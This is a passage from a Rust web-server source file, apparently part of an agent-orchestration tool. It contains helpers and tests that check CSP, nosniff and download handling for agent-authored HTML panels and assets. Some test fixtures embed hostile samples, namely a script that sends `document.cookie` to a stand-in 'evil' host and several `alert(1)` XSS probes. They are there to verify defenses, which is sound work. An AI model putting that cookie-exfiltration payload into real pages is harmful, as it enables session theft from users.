7034        .unwrap_or("attachment")
7035        .to_owned()
7036}
7037
7038/// Every attachment `GET` response: the mime re-validated against the same
7039/// closed whitelist the upload route enforces - never the string trusted
7040/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
7041/// cannot decide it knows better than the type we send. Unlike a panel asset
7042/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
7043/// document renders inline, not agent-authored HTML in a sandboxed frame.
7044fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7045    let content_type = ATTACHMENT_MIME_WHITELIST
7046        .iter()
7047        .find(|&&m| m == mime)
7048        .copied()
7049        .unwrap_or("application/octet-stream");
7050    (
7051        [
7052            (header::CONTENT_TYPE, content_type),
7053            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7054        ],
7055        body,
7056    )
7057        .into_response()
7058}
7059
7060/// The configuration for a repository, read off the disk for this request.
7061///
7062/// Through [`blocking`] because discovery reads and merges several TOML files,
7063/// and because the alternative - caching it in [`Ui`] at startup - would mean
7064/// the operator's phone kept interviewing with a roster they had already
7065/// changed, with no way to reload it but restarting the server they are not
7066/// sitting in front of.
7067async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7068    let repo = repo.to_path_buf();
7069    blocking(move || {
7070        let (cfg, _) = Config::discover(&repo, None)?;
7071        Ok(cfg)
7072    })
7073    .await
7074}
7075
7076/// The one prefix rule, used for both runs and tasks: a leading match for a
7077/// full id, a trailing match for the short form an operator reads off a
7078/// report. Written here rather than borrowed from `queue::resolve_id` because
7079/// the UI needs the two failures as different status codes, and telling them
7080/// apart from an error message is not something to build a route on.
7081fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7082    let mut hits = ids
7083        .into_iter()
7084        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7085    match (hits.next(), hits.next()) {
7086        (Some(one), None) => Ok(one),
7087        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7088        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7089            "`{prefix}` matches more than one {what}, including {a} and {b}"
7090        ))),
7091    }
7092}
7093
7094#[cfg(test)]
7095mod tests {
7096
7097    #[test]
7098    fn holder_reads_the_lease_not_the_record() {
7099        let mut q = Question::new(
7100            "run".to_owned(),
7101            "implement".to_owned(),
7102            "impl-A".to_owned(),
7103            "which?".to_owned(),
7104            String::new(),
7105            Vec::new(),
7106        );
7107        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7108        q.cwd = Some("/tmp".to_owned());
7109        assert_eq!(holder_of(&q, None), Some("nobody"));
7110        let beat = |kind, ago: i64| ask::Lease {
7111            kind,
7112            pid: 1,
7113            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7114                .unwrap(),
7115        };
7116        let fresh = beat(ask::WaiterKind::Asker, 1);
7117        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7118        let daemon = beat(ask::WaiterKind::Daemon, 1);
7119        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7120        let stale = beat(ask::WaiterKind::Asker, 3600);
7121        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7122
7123        // A conductor question says "deputy" only while one is attached and
7124        // alive, and "nobody" - never silence - when nothing ever listened.
7125        let mut c = Question::new(
7126            "task".to_owned(),
7127            crate::conduct::NODE.to_owned(),
7128            "conduct".to_owned(),
7129            "which?".to_owned(),
7130            String::new(),
7131            Vec::new(),
7132        );
7133        assert_eq!(holder_of(&c, None), Some("nobody"));
7134        c.cwd = Some("/tmp".to_owned());
7135        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7136        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7137        let deputy = beat(ask::WaiterKind::Deputy, 1);
7138        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7139        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7140
7141        // A release-watch question: nobody until a deputy is attached.
7142        let mut r = Question::new(
7143            String::new(),
7144            crate::bump::NOTICE_NODE.to_owned(),
7145            "release-watch".to_owned(),
7146            "stuck?".to_owned(),
7147            String::new(),
7148            vec!["hold".to_owned()],
7149        );
7150        assert_eq!(holder_of(&r, None), Some("nobody"));
7151        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7152        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7153        // A choice-less bump notice is nobody's question at all.
7154        r.deputy = None;
7155        r.seat = "bump".to_owned();
7156        assert_eq!(holder_of(&r, None), None);
7157
7158        // A merge approval is the same: nobody until a deputy is attached
7159        // and alive, never a silent "no holder".
7160        let mut m = Question::new(
7161            "run".to_owned(),
7162            crate::land::APPROVAL_NODE.to_owned(),
7163            "land".to_owned(),
7164            "merge?".to_owned(),
7165            String::new(),
7166            Vec::new(),
7167        );
7168        assert_eq!(holder_of(&m, None), Some("nobody"));
7169        assert_eq!(
7170            holder_of(&m, Some(&fresh)),
7171            Some("nobody"),
7172            "a lease with no deputy is not a listener"
7173        );
7174        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7175        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7176        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7177        assert_eq!(holder_of(&m, None), Some("nobody"));
7178    }
7179
7180    fn stub_config() -> Config {
7181        // An explicit roster, so the result never depends on which agent CLIs
7182        // this machine has installed.
7183        Config {
7184            agents: vec![crate::config::AgentSpec {
7185                id: "stub".to_owned(),
7186                kind: AgentKind::Command,
7187                model: None,
7188                command: vec!["true".to_owned()],
7189                extra_args: Vec::new(),
7190                env: Default::default(),
7191                prompt_delivery: None,
7192            }],
7193            ..Config::default()
7194        }
7195    }
7196
7197    fn plain_question(seat: &str) -> Question {
7198        Question::new(
7199            String::new(),
7200            "n".to_owned(),
7201            seat.to_owned(),
7202            "s".to_owned(),
7203            String::new(),
7204            Vec::new(),
7205        )
7206    }
7207
7208    #[test]
7209    fn deputies_enabled_follows_the_config() {
7210        let on = stub_config();
7211        assert!(crate::deputy::can_start(Some(&on), ""));
7212        assert!(crate::deputy::can_start(Some(&on), "stub"));
7213        let mut off = on.clone();
7214        off.daemon.max_deputies = 0;
7215        assert!(!crate::deputy::can_start(Some(&off), ""));
7216        let mut empty = on;
7217        empty.agents.clear();
7218        assert!(!crate::deputy::can_start(Some(&empty), ""));
7219        assert!(!crate::deputy::can_start(None, ""));
7220    }
7221
7222    #[test]
7223    fn question_views_load_the_config_once() {
7224        let dir = TempDir::new().unwrap();
7225        let store = ask::Questions::at(dir.path().to_path_buf());
7226        let mut with_deputy = plain_question("b");
7227        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7228        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7229
7230        let calls = std::cell::Cell::new(0usize);
7231        let views = question_views(qs.clone(), &store, || {
7232            calls.set(calls.get() + 1);
7233            Some(stub_config())
7234        });
7235        assert_eq!(calls.get(), 1);
7236        assert_eq!(views.len(), 3);
7237        for (v, q) in views.iter().zip(&qs) {
7238            assert_eq!(
7239                v.deputies_enabled,
7240                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7241            );
7242        }
7243
7244        let views = question_views(qs, &store, || None);
7245        assert!(views.iter().all(|v| !v.deputies_enabled));
7246
7247        let calls = std::cell::Cell::new(0usize);
7248        let views = question_views(Vec::new(), &store, || {
7249            calls.set(calls.get() + 1);
7250            None
7251        });
7252        assert!(views.is_empty());
7253        assert_eq!(calls.get(), 0);
7254    }
7255
7256    use pretty_assertions::assert_eq;
7257    use serde_json::Value;
7258    use tempfile::TempDir;
7259    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7260
7261    use super::*;
7262    use crate::config::Config;
7263    use crate::queue::Source;
7264
7265    /// How many 10ms steps a settle loop takes before it calls a stall a
7266    /// stall - thirty seconds.
7267    ///
7268    /// These loops wait on real `sh` subprocesses, and the machine that runs
7269    /// the gate runs several suites at once, so a two-second budget was not
7270    /// waiting for the reply, it was racing the scheduler: two of these
7271    /// tests failed under that load with the turn simply not landed yet.
7272    /// This is a hang guard, not a latency assertion - every loop breaks the
7273    /// moment its condition holds, so a generous cap costs an idle machine
7274    /// nothing and still fails a genuine hang instead of hanging the suite.
7275    const SETTLE_STEPS: usize = 3_000;
7276
7277    /// A home with a queue and a runs directory, and a router serving it on
7278    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
7279    /// dependency, not ours - so the tests drive a real socket, which has the
7280    /// side benefit of asserting the status line and content types the phone
7281    /// actually receives.
7282    struct Fixture {
7283        home: TempDir,
7284        addr: SocketAddr,
7285    }
7286
7287    impl Fixture {
7288        async fn start() -> Self {
7289            Self::with_loop(launch_idle).await
7290        }
7291
7292        /// A fixture whose loop is `launch`.
7293        async fn with_loop(launch: Launch) -> Self {
7294            let home = TempDir::new().expect("temp home");
7295            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7296            Self { home, addr }
7297        }
7298
7299        /// A fixture whose `ui.repo` is a real directory rather than the
7300        /// usual placeholder - for the routes that read config off it
7301        /// (`GET /api/repos`) and would otherwise have nothing to discover.
7302        async fn with_repo(repo: PathBuf) -> Self {
7303            let home = TempDir::new().expect("temp home");
7304            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7305            Self { home, addr }
7306        }
7307
7308        /// As [`Fixture::with_repo`], with the machine-config file the
7309        /// settings screen reads and writes.
7310        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7311            let home = TempDir::new().expect("temp home");
7312            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7313            Self { home, addr }
7314        }
7315
7316        async fn serve(
7317            home: &FsPath,
7318            repo: PathBuf,
7319            launch: Launch,
7320            machine: Option<PathBuf>,
7321        ) -> SocketAddr {
7322            let queue = Queue::at(home.join("queue"));
7323            let runs = home.join("runs");
7324            std::fs::create_dir_all(&runs).expect("runs dir");
7325            let worktrees = home.join("wt").join("magi");
7326            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7327            let ui = Ui::new(
7328                queue,
7329                Questions::at(home.join("questions")),
7330                Talks::at(home.join("talks")),
7331                runs,
7332                home.to_path_buf(),
7333                repo,
7334            )
7335            .with_worktrees_root(worktrees)
7336            .with_machine_config(machine)
7337            .with_launch(launch);
7338            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7339                .await
7340                .expect("bind loopback");
7341            let addr = listener.local_addr().expect("local addr");
7342            tokio::spawn(async move {
7343                let _ = axum::serve(listener, ui.router()).await;
7344            });
7345            addr
7346        }
7347
7348        fn queue(&self) -> Queue {
7349            Queue::at(self.home.path().join("queue"))
7350        }
7351
7352        fn questions(&self) -> Questions {
7353            Questions::at(self.home.path().join("questions"))
7354        }
7355
7356        fn talks(&self) -> Talks {
7357            Talks::at(self.home.path().join("talks"))
7358        }
7359
7360        fn runs(&self) -> PathBuf {
7361            self.home.path().join("runs")
7362        }
7363
7364        async fn get(&self, path: &str) -> Res {
7365            request(self.addr, "GET", path, None).await
7366        }
7367
7368        /// The status and headers without the body, which is how the front end
7369        /// preflights a panel: a sandboxed frame is opaque to the parent
7370        /// document, so the only way to tell "no panel" from "a panel that
7371        /// rendered blank" is to ask before mounting.
7372        async fn head(&self, path: &str) -> Res {
7373            request(self.addr, "HEAD", path, None).await
7374        }
7375
7376        async fn post(&self, path: &str, body: Option<&str>) -> Res {
7377            request(self.addr, "POST", path, body).await
7378        }
7379
7380        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7381            request_with(self.addr, "GET", path, None, extra).await
7382        }
7383
7384        async fn delete(&self, path: &str) -> Res {
7385            request(self.addr, "DELETE", path, None).await
7386        }
7387
7388        async fn put(&self, path: &str, body: &str) -> Res {
7389            request(self.addr, "PUT", path, Some(body)).await
7390        }
7391
7392        /// `POST` a raw body with its own headers - see [`request_bytes`].
7393        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7394            request_bytes(self.addr, path, headers, body).await
7395        }
7396    }
7397
7398    struct Res {
7399        status: u16,
7400        headers: String,
7401        /// The header block with its original casing, for the assertions that
7402        /// compare a header *value* rather than looking for a name. Lowercasing
7403        /// a CSP would hide a directive spelled with a capital letter, and the
7404        /// whole point of that test is that the string is exactly right.
7405        head: String,
7406        body: String,
7407        /// The body before any UTF-8 handling, for the routes that serve
7408        /// something other than text. A panel asset is a PNG as often as not,
7409        /// and `from_utf8_lossy` would silently replace half of it.
7410        bytes: Vec<u8>,
7411    }
7412
7413    impl Res {
7414        fn json(&self) -> Value {
7415            serde_json::from_str(&self.body)
7416                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7417        }
7418
7419        /// One header's value verbatim, or `None` when it was not sent.
7420        fn header(&self, name: &str) -> Option<&str> {
7421            self.head.lines().find_map(|line| {
7422                let (key, value) = line.split_once(':')?;
7423                key.trim()
7424                    .eq_ignore_ascii_case(name)
7425                    .then(|| value.trim_start().trim_end_matches('\r'))
7426            })
7427        }
7428    }
7429
7430    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
7431    /// be read to end-of-stream without parsing framing.
7432    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7433        request_with(addr, method, path, body, &[]).await
7434    }
7435
7436    /// As [`request`], with extra request headers - conditional GETs need
7437    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
7438    /// worse than one that sets none.
7439    async fn request_with(
7440        addr: SocketAddr,
7441        method: &str,
7442        path: &str,
7443        body: Option<&str>,
7444        extra: &[(&str, &str)],
7445    ) -> Res {
7446        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7447        for (name, value) in extra {
7448            head.push_str(&format!("{name}: {value}\r\n"));
7449        }
7450        if let Some(body) = body {
7451            head.push_str("Content-Type: application/json\r\n");
7452            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7453        }
7454        head.push_str("\r\n");
7455        if let Some(body) = body {
7456            head.push_str(body);
7457        }
7458        let mut socket = tokio::net::TcpStream::connect(addr)
7459            .await
7460            .expect("connect to the test server");
7461        socket
7462            .write_all(head.as_bytes())
7463            .await
7464            .expect("write request");
7465        let mut raw = Vec::new();
7466        socket.read_to_end(&mut raw).await.expect("read response");
7467        // Split on the raw bytes rather than on a lossy string, so a binary
7468        // body survives to be compared byte for byte.
7469        let split = raw
7470            .windows(4)
7471            .position(|w| w == b"\r\n\r\n")
7472            .expect("a header block");
7473        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7474        let bytes = raw[split + 4..].to_vec();
7475        let status = head
7476            .lines()
7477            .next()
7478            .and_then(|line| line.split_whitespace().nth(1))
7479            .and_then(|code| code.parse().ok())
7480            .expect("a status line");
7481        Res {
7482            status,
7483            headers: head.to_lowercase(),
7484            head,
7485            body: String::from_utf8_lossy(&bytes).into_owned(),
7486            bytes,
7487        }
7488    }
7489
7490    /// A `POST` carrying a raw binary body and its own headers, for the
7491    /// attachment upload route - `request_with` only ever sends
7492    /// `Content-Type: application/json`, which is wrong for an image and
7493    /// would corrupt anything not valid UTF-8 by round-tripping it through
7494    /// `&str` first.
7495    async fn request_bytes(
7496        addr: SocketAddr,
7497        path: &str,
7498        headers: &[(&str, &str)],
7499        body: &[u8],
7500    ) -> Res {
7501        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7502        for (name, value) in headers {
7503            head.push_str(&format!("{name}: {value}\r\n"));
7504        }
7505        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7506        let mut socket = tokio::net::TcpStream::connect(addr)
7507            .await
7508            .expect("connect to the test server");
7509        socket
7510            .write_all(head.as_bytes())
7511            .await
7512            .expect("write request head");
7513        socket.write_all(body).await.expect("write request body");
7514        let mut raw = Vec::new();
7515        socket.read_to_end(&mut raw).await.expect("read response");
7516        let split = raw
7517            .windows(4)
7518            .position(|w| w == b"\r\n\r\n")
7519            .expect("a header block");
7520        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7521        let bytes = raw[split + 4..].to_vec();
7522        let status = head
7523            .lines()
7524            .next()
7525            .and_then(|line| line.split_whitespace().nth(1))
7526            .and_then(|code| code.parse().ok())
7527            .expect("a status line");
7528        Res {
7529            status,
7530            headers: head.to_lowercase(),
7531            head,
7532            body: String::from_utf8_lossy(&bytes).into_owned(),
7533            bytes,
7534        }
7535    }
7536
7537    /// A run on disk, without touching the process-global magi home.
7538    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7539        let mut state = RunState::new(
7540            PathBuf::from("/repo/magi"),
7541            "main".to_owned(),
7542            "0123456789abcdef".to_owned(),
7543            "Add a web UI\n\nMobile first.".to_owned(),
7544            Config::default(),
7545        );
7546        state.id = id.to_owned();
7547        state.status = status;
7548        let dir = runs.join(id);
7549        std::fs::create_dir_all(&dir).expect("run dir");
7550        std::fs::write(
7551            dir.join("run.json"),
7552            serde_json::to_string_pretty(&state).expect("serialize run"),
7553        )
7554        .expect("write run.json");
7555    }
7556
7557    /// Same as [`write_run`], but against a named repository rather than the
7558    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
7559    /// spread across more than one.
7560    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7561        let mut state = RunState::new(
7562            PathBuf::from(repo),
7563            "main".to_owned(),
7564            "0123456789abcdef".to_owned(),
7565            "task".to_owned(),
7566            Config::default(),
7567        );
7568        state.id = id.to_owned();
7569        state.status = status;
7570        let dir = runs.join(id);
7571        std::fs::create_dir_all(&dir).expect("run dir");
7572        std::fs::write(
7573            dir.join("run.json"),
7574            serde_json::to_string_pretty(&state).expect("serialize run"),
7575        )
7576        .expect("write run.json");
7577    }
7578
7579    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7580        let body = serde_json::json!({
7581            "schema": 1,
7582            "pid": 4242,
7583            "started_at": Timestamp::now().to_string(),
7584            "updated_at": updated_at.to_string(),
7585            "idle": false,
7586            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7587            "completed": 7,
7588            "polls": 143,
7589        });
7590        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7591    }
7592
7593    /// A loop that starts, finds nothing to do, and waits to be told to stop.
7594    ///
7595    /// No test in this file may start the real loop - see [`Ui::launch`] for
7596    /// why - so this stands in for the only thing the routes need a loop to
7597    /// do: keep running until `Stop` is set, then return. A real
7598    /// `serve_until` here would resolve its queue and its status file through
7599    /// the process-global magi home, claim whatever it found in the
7600    /// operator's live backlog, overwrite the status file of the `magi serve`
7601    /// that owns it, and spend real agent quota on a real competition.
7602    fn launch_idle(
7603        _opts: daemon::Opts,
7604        stop: daemon::Stop,
7605    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7606        Box::pin(async move {
7607            while !stop.stopped() {
7608                tokio::time::sleep(Duration::from_millis(2)).await;
7609            }
7610            Ok(())
7611        })
7612    }
7613
7614    /// A loop that fails on the way up, the way one whose home has gone
7615    /// read-only does.
7616    fn launch_broken(
7617        _opts: daemon::Opts,
7618        _stop: daemon::Stop,
7619    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7620        // The stand-in dies instantly, so a restarted one can record its own
7621        // failure before the start's response is read. The second attempt
7622        // therefore fails with a different message, to tell a stale error
7623        // from a fresh one.
7624        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7625        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7626        Box::pin(async move {
7627            Err(anyhow::anyhow!(if first {
7628                "publish the daemon status file: read-only file system"
7629            } else {
7630                "the restarted stand-in failed as well"
7631            }))
7632        })
7633    }
7634
7635    /// The address the parking loop knocks on, and what it heard there.
7636    ///
7637    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
7638    /// capture a fixture's address; this is how it is handed one. Only
7639    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
7640    /// these, so nothing else in this binary can race them.
7641    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7642    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7643
7644    /// A loop that, once it is asked to stop, checks the deck still answers
7645    /// before it goes.
7646    ///
7647    /// It stands in for a run mid-node: `finish_loop` waits for this future,
7648    /// so the request it makes is strictly inside the park window - no sleep
7649    /// and no polling needed to be sure of that.
7650    fn launch_knocking_on_the_way_out(
7651        _opts: daemon::Opts,
7652        stop: daemon::Stop,
7653    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7654        Box::pin(async move {
7655            while !stop.stopped() {
7656                tokio::time::sleep(Duration::from_millis(2)).await;
7657            }
7658            let addr = PARK_KNOCK
7659                .lock()
7660                .expect("park knock")
7661                .expect("the test set an address");
7662            let heard = request(addr, "GET", "/api/health", None).await.status;
7663            *PARK_HEARD.lock().expect("park heard") = Some(heard);
7664            Ok(())
7665        })
7666    }
7667
7668    /// The loop view once `want` accepts it.
7669    ///
7670    /// Polled rather than asserted straight after the POST because stopping
7671    /// is deliberately not instant - that is the contract - and rather than
7672    /// slept through because a fixed wait is either flaky or slow.
7673    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
7674    /// finite, so a genuine hang fails the test instead of hanging the
7675    /// suite.
7676    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7677        for _ in 0..SETTLE_STEPS {
7678            let view = fx.get("/api/loop").await.json();
7679            if want(&view) {
7680                return view;
7681            }
7682            tokio::time::sleep(Duration::from_millis(10)).await;
7683        }
7684        panic!(
7685            "the loop never settled: {}",
7686            fx.get("/api/loop").await.json()
7687        );
7688    }
7689
7690    /// File an open question directly in the store the server reads.
7691    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7692        let store = fx.questions();
7693        let mut q = Question::new(
7694            "20260902-000000-beef".to_owned(),
7695            "implement".to_owned(),
7696            "impl-A".to_owned(),
7697            summary.to_owned(),
7698            "because it matters".to_owned(),
7699            choices.iter().map(|c| (*c).to_owned()).collect(),
7700        );
7701        store.put(&mut q).expect("put question");
7702        q.id
7703    }
7704
7705    /// A question with a panel the server can serve, plus the named assets.
7706    ///
7707    /// Written through `Questions::put_panel` rather than by laying out the
7708    /// directory here, so these tests exercise the same on-disk shape the
7709    /// agents produce and cannot pass against a layout only the tests know.
7710    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7711        let store = fx.questions();
7712        let mut q = Question::new(
7713            "20260902-000000-beef".to_owned(),
7714            "land".to_owned(),
7715            "fix".to_owned(),
7716            "Merge this?".to_owned(),
7717            "the diff is in the panel".to_owned(),
7718            vec!["merge".to_owned(), "hold".to_owned()],
7719        );
7720        // Staged outside the questions root, because `put_panel` copies from
7721        // wherever the agent left its files.
7722        let staging = fx.home.path().join("staging");
7723        std::fs::create_dir_all(&staging).expect("staging dir");
7724        let sources: Vec<PathBuf> = assets
7725            .iter()
7726            .map(|(name, bytes)| {
7727                let path = staging.join(name);
7728                std::fs::write(&path, bytes).expect("write staged asset");
7729                path
7730            })
7731            .collect();
7732        store
7733            .put_panel(&mut q, html, &sources)
7734            .expect("write the panel");
7735        store.put(&mut q).expect("put question");
7736        q.id
7737    }
7738
7739    /// A talk on disk, without talking to a model.
7740    ///
7741    /// Written as JSON straight into the store the server reads, because the
7742    /// only constructor `talk::begin` offers takes no turn but still requires
7743    /// a real caller-visible flow. The one thing this cannot make up is the
7744    /// seat, so it is built with the real `SeatState::new` and serialized -
7745    /// the alternative, hand-writing that object, would make these tests fail
7746    /// the day the seat gains a field.
7747    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7748        seed_talk_at(&fx.talks(), id, status)
7749    }
7750
7751    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7752        std::fs::create_dir_all(store.root()).expect("talks dir");
7753        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7754            .expect("serialize a seat");
7755        let body = serde_json::json!({
7756            "schema": 1,
7757            "id": id,
7758            "repo": "/repo/magi",
7759            "agent": "mock",
7760            "status": status,
7761            "turns": [],
7762            "created_at": Timestamp::now().to_string(),
7763            "updated_at": Timestamp::now().to_string(),
7764            "seat": seat,
7765        });
7766        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7767        store.get(id).expect("the seeded talk has to be readable");
7768        id.to_owned()
7769    }
7770
7771    #[tokio::test]
7772    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7773        let fx = Fixture::start().await;
7774        let id = panel(
7775            &fx,
7776            "<h1>Merge?</h1><img src=\"diff.svg\">",
7777            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7778        );
7779
7780        for path in [
7781            format!("/api/questions/{id}/panel"),
7782            format!("/api/questions/{id}/asset/diff.svg"),
7783        ] {
7784            let res = fx.get(&path).await;
7785            assert_eq!(res.status, 200, "{path}: {}", res.body);
7786            // The whole string, not a substring. A weakened directive - an
7787            // `img-src *` that lets a panel beacon out to a remote host, a
7788            // `script-src` anything, a missing `form-action` that lets it post
7789            // the owner's decision to a third party - has to fail here, and a
7790            // `contains` assertion would let every one of those through.
7791            assert_eq!(
7792                res.header("content-security-policy"),
7793                Some(
7794                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7795                     font-src data:; base-uri 'none'; form-action 'none'; \
7796                     frame-ancestors 'self'"
7797                ),
7798                "{path} is the only thing between a hostile panel and the tailnet"
7799            );
7800            assert_eq!(
7801                res.header("x-content-type-options"),
7802                Some("nosniff"),
7803                "{path}: a browser must not re-decide the type we sent"
7804            );
7805            assert_eq!(
7806                res.header("referrer-policy"),
7807                Some("no-referrer"),
7808                "{path}: a panel must not leak the question id off the machine"
7809            );
7810
7811            // The front end mounts the frame only after a `HEAD` says the
7812            // panel is there, so `HEAD` has to answer with the same status and
7813            // the same policy as `GET` - a preflight that came back without
7814            // the CSP would mean a frame mounted on an unverified promise.
7815            let pre = fx.head(&path).await;
7816            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7817            assert_eq!(
7818                pre.header("content-security-policy"),
7819                res.header("content-security-policy"),
7820                "{path}: the preflight carries the same policy"
7821            );
7822            assert_eq!(
7823                pre.header("content-type"),
7824                res.header("content-type"),
7825                "{path}: the preflight carries the same type"
7826            );
7827        }
7828    }
7829
7830    #[tokio::test]
7831    async fn a_panel_reaches_the_browser_byte_for_byte() {
7832        let fx = Fixture::start().await;
7833        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
7834        // tag, an entity, and a multi-byte character. The sandbox is what makes
7835        // this safe, so nothing here may be rewritten on the way out - a
7836        // rewritten diff is a diff the owner cannot trust.
7837        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
7838        let id = panel(&fx, html, &[]);
7839
7840        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7841
7842        assert_eq!(res.status, 200);
7843        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7844        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7845        assert_eq!(
7846            res.header("content-disposition"),
7847            None,
7848            "the panel itself is rendered in the frame, not downloaded"
7849        );
7850    }
7851
7852    #[tokio::test]
7853    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7854        let fx = Fixture::start().await;
7855        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7856        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7857        let id = panel(
7858            &fx,
7859            "<img src=\"diff.svg\"><img src=\"shot.png\">",
7860            &[("diff.svg", svg), ("shot.png", png)],
7861        );
7862
7863        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7864        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7865
7866        assert_eq!(as_svg.status, 200);
7867        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7868        // An SVG is XML that may carry script. Inside the panel it is an
7869        // `<img src>` and the script cannot run; opened at the top level it
7870        // would be a document on magi's own origin, so the browser is told to
7871        // download it instead of rendering it.
7872        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7873
7874        assert_eq!(as_png.status, 200);
7875        assert_eq!(as_png.header("content-type"), Some("image/png"));
7876        assert_eq!(
7877            as_png.header("content-disposition"),
7878            None,
7879            "a raster image has no execution surface, so tapping it still shows it"
7880        );
7881        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7882    }
7883
7884    #[tokio::test]
7885    async fn an_html_asset_is_never_served_as_html() {
7886        let fx = Fixture::start().await;
7887        let id = panel(
7888            &fx,
7889            "<p>see the notes</p>",
7890            &[
7891                (
7892                    "notes.html",
7893                    b"<script>fetch('http://evil/'+document.cookie)</script>",
7894                ),
7895                ("hook.js", b"fetch('http://evil/')"),
7896                ("data.json", b"{}"),
7897                ("HEADLINE.TXT", b"plain"),
7898            ],
7899        );
7900
7901        for name in ["notes.html", "hook.js", "data.json"] {
7902            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7903            assert_eq!(res.status, 200, "{name}: {}", res.body);
7904            // Serving this as text/html would be a way to reach agent markup
7905            // at the top level of the operator's browser, outside the frame's
7906            // sandbox and outside its CSP - which is the whole thing the panel
7907            // design exists to prevent. Unlisted types are downloads.
7908            assert_eq!(
7909                res.header("content-type"),
7910                Some("application/octet-stream"),
7911                "{name} must not be a type the browser will execute or render"
7912            );
7913        }
